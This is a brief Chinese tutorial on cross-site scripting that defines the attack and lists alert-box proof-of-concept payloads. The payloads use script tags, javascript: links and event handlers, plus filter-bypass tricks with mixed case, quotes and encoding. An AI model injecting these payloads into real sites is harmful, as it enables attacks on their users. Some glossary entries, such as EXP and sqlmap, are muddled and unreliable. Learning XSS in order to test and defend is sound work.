xss简介
xss - 跨站脚本攻击
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞的验证
用一段简单的代码验证和检测漏洞的存在,这样的代码叫做POC(proof of concept)
POC 漏洞的验证与检测
EXP 漏洞的验证与检测
shellcode 利用漏洞的完整利用工具
payload 攻击载荷
sqlmap 攻击代码的模板
常用POC
<script>alert(/xss/)</script>
输入框中会原样输出所输入内容则存在xss漏洞
XSS的构造
- 利用[<>]构造HTML/JS:例如
<script>alert(/xss/)</script>
- 伪协议(javascript:JS代码):超链接
<a href="javascript:alert(/XSS/)">touch me </a>
img标签伪协议:
<img src="javascript:alert('xss')">
- 产生自己的事件:
1、”事件驱动”:比如鼠标移动、键盘输入等)JS可以进行响应发出xss
2、事件种类
window 事件:对windows的对象触发事件
Form:HTML表单内的动作
Keyboard事件:键盘事件
例如键盘点击
<input type="text" onkeydown="alert(/xss/)">
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">
mouse事件:鼠标
例如鼠标悬停
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
3、大小写转换:可以将payload进行大小写转化。
<img sRc='#' Onerror="alert(/xss/)"/>
<a hREF="javaScript:alert(/xss/)"/>
4、引号的使用
HTML语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
单双引号要测试过滤
<img src="#"onerror="alert(/xss/)"/>
<img src="#"onerror='alert(/xss/) '/>
<img src=#onerror=alert(/xss/) />
5、对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。